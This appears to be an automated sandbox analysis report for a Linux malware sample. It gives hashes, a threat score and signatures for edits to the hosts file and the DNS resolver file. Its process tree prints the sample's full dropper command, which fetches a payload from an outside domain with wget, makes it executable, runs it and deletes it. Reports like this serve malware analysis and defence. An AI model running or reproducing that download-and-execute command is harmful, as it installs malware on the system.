Analysis
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max time kernel
0s -
max time network
143s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
22-08-2022 15:58
Behavioral task
behavioral1
Sample
d66f9d821d124903be258e8a0ec15d53
Resource
ubuntu1804-amd64-en-20211208
ubuntu-18.04-amd64
2 signatures
150 seconds
General
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Target
d66f9d821d124903be258e8a0ec15d53
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Size
97KB
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MD5
d66f9d821d124903be258e8a0ec15d53
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SHA1
fe306d7be7325eb0a115b6003fa2598cd23e4ce4
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SHA256
811b580a7f7965b44dd732bb4b116f986329584cb9a43814984975e28a6d16c1
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SHA512
081652bc30044d1fb6a0a279fb98b5b718c47ae8f79cb1e6b08b6dcf6570a09566548b385d56fbdbfff11c016125e7e648f5caff5db9d835c29f48e27e530e5b
Score
8/10
Malware Config
Signatures
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Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts wget -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf wget
Processes
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/tmp/d66f9d821d124903be258e8a0ec15d53/tmp/d66f9d821d124903be258e8a0ec15d531⤵PID:571
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/bin/sh/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."1⤵PID:572
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/usr/bin/wgetwget -q http://gay.energy/.../vivid -O .....2⤵
- Modifies hosts file
- Writes DNS configuration
PID:576
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/bin/chmodchmod 777 .....2⤵PID:577
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./....../.....2⤵PID:578
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/bin/sh/bin/sh ./.....2⤵PID:578
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/bin/rmrm -rf .....2⤵PID:580
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